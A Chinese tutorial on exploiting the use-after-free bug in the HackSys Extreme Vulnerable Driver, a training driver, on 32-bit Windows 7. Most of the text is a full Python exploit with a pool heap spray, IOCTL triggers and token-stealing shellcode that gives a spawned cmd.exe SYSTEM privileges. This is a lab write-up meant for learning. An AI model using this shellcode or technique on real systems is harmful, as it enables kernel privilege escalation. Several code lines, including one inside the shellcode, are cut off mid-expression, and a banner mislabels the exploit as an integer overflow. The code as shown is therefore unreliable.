Windows内核进击之旅-UAF漏洞

内核双机调试环境搭建的教程在网上有很多,值得一提的是mac下通过虚拟机也可以实现双机调试,这次要分析的文章是内核漏洞中的UAF漏洞。在这里主要是通过HEVD这个项目来了解内核漏洞的原理以及利用方式。需要指出的是,我这里的调试环境是,调试机是win7 64位,被调试机是win7 32位。

UAF漏洞

UAF漏洞原理在网上也可以找到很多讲解的文章,具体的原理不再讲解。大致原理是:申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(dangling pointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。

漏洞利用的过程可以分为以下4步:

[if !supportLists]1. [endif]申请堆块,保存指针。

[if !supportLists]2. [endif]释放堆块,形成悬挂指针。

[if !supportLists]3. [endif]再次申请堆块,填充恶意数据。

[if !supportLists]4. [endif]使用悬挂指针,实现恶意目的。

下面我们去HEVD项目中具体看如何体现。


申请堆块

首先是0x222013驱动号对应的分配USE_AFTER_FREE结构体的函数,该结构体的定义是

可以看到里面有个函数指针,以及后面有个0x54大小的字符串。分配UAF对象函数的关键代码如下:

Windows内核进击之旅-UAF漏洞_第1张图片
Windows内核进击之旅-UAF漏洞_第2张图片

可以看到首先调用ExAllocatePoolWithTag申请出PUSE_AFTER_FREE结构体,并将该结构体的函数指针赋值为一个UaFObjectCallback函数地址。并在最后一行代码里,将申请出来的堆块保存在全局指针中。

释放堆块

直接看到0x22201B驱动号对应的释放堆块的FreeUaFObjectIoctlHandler函数。关键代码及注释如下:

if (g_UseAfterFreeObject) {

            DbgPrint("[+] Freeing UaF Object\n");

            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);


#ifdef SECURE

            // Secure Note: This is secure because the developer is setting

            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed

            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);


            g_UseAfterFreeObject = NULL;//可以看到在安全的版本中,将全局指针清空了

#else

            // Vulnerability Note: This is a vanilla Use After Free vulnerability

            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.

            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer

            // (dangling pointer)

            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

//而在有漏洞的版本中并没有将全局指针清空,导致形成悬挂指针

#endif

漏洞即存在该函数当中,HEVD函数里有安全和漏洞两个版本的选项,通过源代码可以很明显的看到在安全的版本中,释放掉堆块后,有将全局指针清空的操作,而在漏洞的版本中并没有清空指针的操作,从而形成了悬挂指针,导致了漏洞的形成。

再次申请堆块

再次申请堆块对应的是0x22201F驱动号对应的AllocateFakeObjectIoctlHandler函数,该函数中申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体。

typedef struct _FAKE_OBJECT {

        CHAR Buffer[0x58];

    } FAKE_OBJECT, *PFAKE_OBJECT;

关键源代码及注释如下:

// Allocate Pool chunk

        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,

                                                               sizeof(FAKE_OBJECT),

                                                               (ULONG)POOL_TAG);

//申请结构体

     ……

        // Copy the Fake structure to Pool chunk

        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));//将用户输入拷贝至结构体

可以看到再次申请的这个FAKE结构体与前面的区别在于没有前面4字节的函数指针。这里的攻击场景可以理解为,再次申请出来的FAKE结构体与之前的结构体是同一块内存,在最后将用户输入拷贝到结构体的时候就会覆盖结构体里面的函数指针,指向攻击者shellcode的位置。

使用悬挂指针

在上一步中,我们已经做到了FAKE结构体和USE_AFTER_FREE指向同一块内存,同时使用用户输入覆盖了该结构体的函数指针,因此再次使用函数指针时,会导致控制流的劫持,驱动号0x222017对应的UseUaFObjectIoctlHandler函数关键源代码如下:

if (g_UseAfterFreeObject) {

            DbgPrint("[+] Using UaF Object\n");

            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);

            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);

            DbgPrint("[+] Calling Callback\n");


            if (g_UseAfterFreeObject->Callback) {

                g_UseAfterFreeObject->Callback();//该地址由攻击者控制。

            }


            Status = STATUS_SUCCESS;

        }

编写EXP

上一部分通过源代码介绍了漏洞的大致利用过程,这一部分,主要是具体exp的编写,以及实际要解决的一个问题。

需要解决的问题

在这里需要解决的一个问题就是,在我们第二步释放堆块的时候,该结构体有可能会和前面已经释放的堆块合并,如果合并的话,在我们再次申请的时候申请的时候,分配出来的堆块将不再是同一块内存,导致覆盖函数指针失败。

如何解决该问题,有一篇论文写的很好,要详细了解可以去看看,最后解决的方案大致意思是如下:

Windows系统中有个叫IoCompletionReserve的对象大小为0x60,可以通过NtAllocateReserveObject申请出来,需要做的是

1.首先申请0x10000个该对象并将指针保存下来;

2.然后再申请0x5000个对象,将指针保存下来;

3.第二步中的0x5000个对象,每隔一个对象释放一个对象;

第一步的操作是将现有的空余堆块都申请出来,第二步中申请出来的堆块应该都是连续的,通过第三步的操作,使得我们申请UAE_AFTER_FREE结构体其前面的堆块应该不是空闲的,因此在释放的时候不会合并,从而再分配的时候出现意外的可能性基本为0。下面是具体exp的代码,是python编写的。

首先第一步是申请IoCompletionReserve对象并释放,以此来控制好堆块布局的代码。

def heap_spray():

    spray1 = []

    spray2 = []

    for i in range(0,0x10000):

        spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))


    for i in range(0,0x5000):

        spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))


    for i in range(0,0x5000,2):

        CloseHandle(spray2[i])

接下来是申请UESAFTERFREE堆块

def alloc(hDevice,dwIoControlCode):

        """alloc USEAFTERFREE struct"""

    evilbuf = create_string_buffer("A"*0x58)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = None

    lpOverlapped = None

    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

再接着是释放该堆块

def delete(hDevice,dwIoControlCode):

        """delete USEAFTERFREE struct"""


    evilbuf = create_string_buffer("A"*0x58)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = None

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

紧接着是申请出FAKE结构体,使用shellcode地址填写前四字节,shellcode使用的是提权shellcode,具体原理可以在网上寻找。

def alloc_fake(hDevice,dwIoControlCode):

    evilbuf = create_string_buffer(struct.pack("

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = None

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

最后是调用使用该悬挂指针

def use(hDevice,dwIoControlCode):

    evilbuf = create_string_buffer("A"*0x58)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = None

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

完整的exp代码如下:

from ctypes import *

from ctypes.wintypes import *

import sys, struct, time


# Define constants

CREATE_NEW_CONSOLE = 0x00000010

GENERIC_READ = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x00000003

FILE_ATTRIBUTE_NORMAL = 0x00000080

FILE_DEVICE_UNKNOWN = 0x00000022

FILE_ANY_ACCESS = 0x00000000

METHOD_NEITHER = 0x00000003

MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

HANDLE = c_void_p

LPTSTR = c_void_p

LPBYTE = c_char_p


# Define WinAPI shorthand

CreateProcess = windll.kernel32.CreateProcessW # <-- Unicode version!

VirtualAlloc = windll.kernel32.VirtualAlloc

CreateFile = windll.kernel32.CreateFileW # <-- Unicode version!

DeviceIoControl = windll.kernel32.DeviceIoControl

NtAllocateReserveObject=windll.ntdll.NtAllocateReserveObject

CloseHandle=windll.kernel32.CloseHandle



class STARTUPINFO(Structure):

    """STARTUPINFO struct for CreateProcess API"""


    _fields_ = [("cb", DWORD),

                ("lpReserved", LPTSTR),

                ("lpDesktop", LPTSTR),

                ("lpTitle", LPTSTR),

                ("dwX", DWORD),

                ("dwY", DWORD),

                ("dwXSize", DWORD),

                ("dwYSize", DWORD),

                ("dwXCountChars", DWORD),

                ("dwYCountChars", DWORD),

                ("dwFillAttribute", DWORD),

                ("dwFlags", DWORD),

                ("wShowWindow", WORD),

                ("cbReserved2", WORD),

                ("lpReserved2", LPBYTE),

                ("hStdInput", HANDLE),

                ("hStdOutput", HANDLE),

                ("hStdError", HANDLE)]


class PROCESS_INFORMATION(Structure):

    """PROCESS_INFORMATION struct for CreateProcess API"""


    _fields_ = [("hProcess", HANDLE),

                ("hThread", HANDLE),

                ("dwProcessId", DWORD),

                ("dwThreadId", DWORD)]


def procreate():

    """Spawn shell and return PID"""


    print "[*]Spawning shell..."

    lpApplicationName = u"c:\\windows\\system32\\cmd.exe" # Unicode

    lpCommandLine = u"c:\\windows\\system32\\cmd.exe" # Unicode

    lpProcessAttributes = None

    lpThreadAttributes = None

    bInheritHandles = 0

    dwCreationFlags = CREATE_NEW_CONSOLE

    lpEnvironment = None

    lpCurrentDirectory = None

    lpStartupInfo = STARTUPINFO()

    lpStartupInfo.cb = sizeof(lpStartupInfo)

    lpProcessInformation = PROCESS_INFORMATION()


    ret = CreateProcess(lpApplicationName,           # _In_opt_      LPCTSTR

                        lpCommandLine,               # _Inout_opt_   LPTSTR

                        lpProcessAttributes,         # _In_opt_      LPSECURITY_ATTRIBUTES

                        lpThreadAttributes,          # _In_opt_      LPSECURITY_ATTRIBUTES

                        bInheritHandles,             # _In_          BOOL

                        dwCreationFlags,             # _In_          DWORD

                        lpEnvironment,               # _In_opt_      LPVOID

                        lpCurrentDirectory,          # _In_opt_      LPCTSTR

                        byref(lpStartupInfo),        # _In_          LPSTARTUPINFO

                        byref(lpProcessInformation)) # _Out_         LPPROCESS_INFORMATION

    if not ret:

        print "\t[-]Error spawning shell: " + FormatError()

        sys.exit(-1)


    time.sleep(1) # Make sure cmd.exe spawns fully before shellcode executes


    print "\t[+]Spawned with PID: %d" % lpProcessInformation.dwProcessId

    return lpProcessInformation.dwProcessId


def gethandle():

    """Open handle to driver and return it"""


    print "[*]Getting device handle..."

    lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver"

    dwDesiredAccess = GENERIC_READ | GENERIC_WRITE

    dwShareMode = 0

    lpSecurityAttributes = None

    dwCreationDisposition = OPEN_EXISTING

    dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL

    hTemplateFile = None


    handle = CreateFile(lpFileName,             # _In_     LPCTSTR

                        dwDesiredAccess,        # _In_     DWORD

                        dwShareMode,            # _In_     DWORD

                        lpSecurityAttributes,   # _In_opt_ LPSECURITY_ATTRIBUTES

                        dwCreationDisposition,  # _In_     DWORD

                        dwFlagsAndAttributes,   # _In_     DWORD

                        hTemplateFile)          # _In_opt_ HANDLE


    if not handle or handle == -1:

        print "\t[-]Error getting device handle: " + FormatError()

        sys.exit(-1)


    print "\t[+]Got device handle: 0x%x" % handle

    return handle


def ctl_code(function,

             devicetype = FILE_DEVICE_UNKNOWN,

             access = FILE_ANY_ACCESS,

             method = METHOD_NEITHER):

    """Recreate CTL_CODE macro to generate driver IOCTL"""

    return ((devicetype << 16) | (access << 14) | (function << 2) | method)


def shellcode(pid):

    """Craft our shellcode and stick it in a buffer"""


    tokenstealing = (

        #---[Setup]

        "\x60"                      # pushad

        "\x64\xA1\x24\x01\x00\x00"  # mov eax, fs:[KTHREAD_OFFSET]

        "\x8B\x40\x50"              # mov eax, [eax + EPROCESS_OFFSET]

        "\x89\xC1"                  # mov ecx, eax (Current _EPROCESS structure)

        "\x8B\x98\xF8\x00\x00\x00"  # mov ebx, [eax + TOKEN_OFFSET]

        #-- find cmd process"

        "\xBA"+ struct.pack("

        "\x8B\x89\xB8\x00\x00\x00"  # mov ecx, [ecx + FLINK_OFFSET] <-|

        "\x81\xe9\xB8\x00\x00\x00"      # sub ecx, FLINK_OFFSET           |

        "\x39\x91\xB4\x00\x00\x00"  # cmp [ecx + PID_OFFSET], edx     |

        "\x75\xED"                  # jnz

        #---[Copy System PID token]

        "\xBA\x04\x00\x00\x00"      # mov edx, 4 (SYSTEM PID)

        "\x8B\x80\xB8\x00\x00\x00"  # mov eax, [eax + FLINK_OFFSET] <-|

        "\x2D\xB8\x00\x00\x00"      # sub eax, FLINK_OFFSET           |

        "\x39\x90\xB4\x00\x00\x00"  # cmp [eax + PID_OFFSET], edx     |

        "\x75\xED"                  # jnz                           ->|

        "\x8B\x90\xF8\x00\x00\x00"  # mov edx, [eax + TOKEN_OFFSET]

        "\x89\x91\xF8\x00\x00\x00"  # mov [ecx + TOKEN_OFFSET], edx

        #---[Recover]


        "\x61"                      # popad

        "\x31\xC0"                  # NTSTATUS -> STATUS_SUCCESS

        #"\x83\xc4\x14"             # add esp,0x14

        #"\x5d"                      #pop ebp

        "\xC2\x00\x00"              # ret 8


        ""

    )

                                        #    ret


    print "[*]Allocating buffer for shellcode..."

    lpAddress = None

    dwSize = len(tokenstealing)

    flAllocationType = (MEM_COMMIT | MEM_RESERVE)

    flProtect = PAGE_EXECUTE_READWRITE


    addr = VirtualAlloc(lpAddress,         # _In_opt_  LPVOID

                        dwSize,            # _In_      SIZE_T

                        flAllocationType,  # _In_      DWORD

                        flProtect)         # _In_      DWORD

    if not addr:

        print "\t[-]Error allocating shellcode: " + FormatError()

        sys.exit(-1)


    print "\t[+]Shellcode buffer allocated at: 0x%x" % addr


    # put de shellcode in de buffer and shake it all up

    memmove(addr, tokenstealing, len(tokenstealing))

    return addr



def heap_spray():

    spray1 = []

    spray2 = []

    for i in range(0,0x10000):

        spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))


    for i in range(0,0x5000):

        spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))


    for i in range(0,0x5000,2):

        CloseHandle(spray2[i])

def alloc(hDevice,dwIoControlCode):

    """alloc USEAFTERFREE struct"""

    evilbuf = create_string_buffer("A"*0x58)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = byref(c_ulong())

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)



def delete(hDevice,dwIoControlCode):

    """delete USEAFTERFREE struct"""


    evilbuf = create_string_buffer("A"*0x58)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = byref(c_ulong())

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

def alloc_fake(hDevice,dwIoControlCode,scAddr):

    evilbuf = create_string_buffer(struct.pack("

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = byref(c_ulong())

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

def use(hDevice,dwIoControlCode):

    evilbuf = create_string_buffer("A"*0x58)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0xffffffff

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = byref(c_ulong())

    lpOverlapped = None


    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)


def trigger(hDevice,  scAddr):

    """Create evil buffer and send IOCTL"""


    heap_spray()

    alloc(hDevice,ctl_code(0x804))

    delete(hDevice,ctl_code(0x806))

    alloc_fake(hDevice,ctl_code(0x807),scAddr)

    use(hDevice,ctl_code(0x805))


if __name__ == "__main__":

    print "\n**HackSys Extreme Vulnerable Driver**"

    print "***Integer overflow exploit***\n"


    pid = procreate()

    trigger(gethandle(),shellcode(pid)) # ugly lol

最终获得system权限

Windows内核进击之旅-UAF漏洞_第3张图片

你可能感兴趣的:(Windows内核进击之旅-UAF漏洞)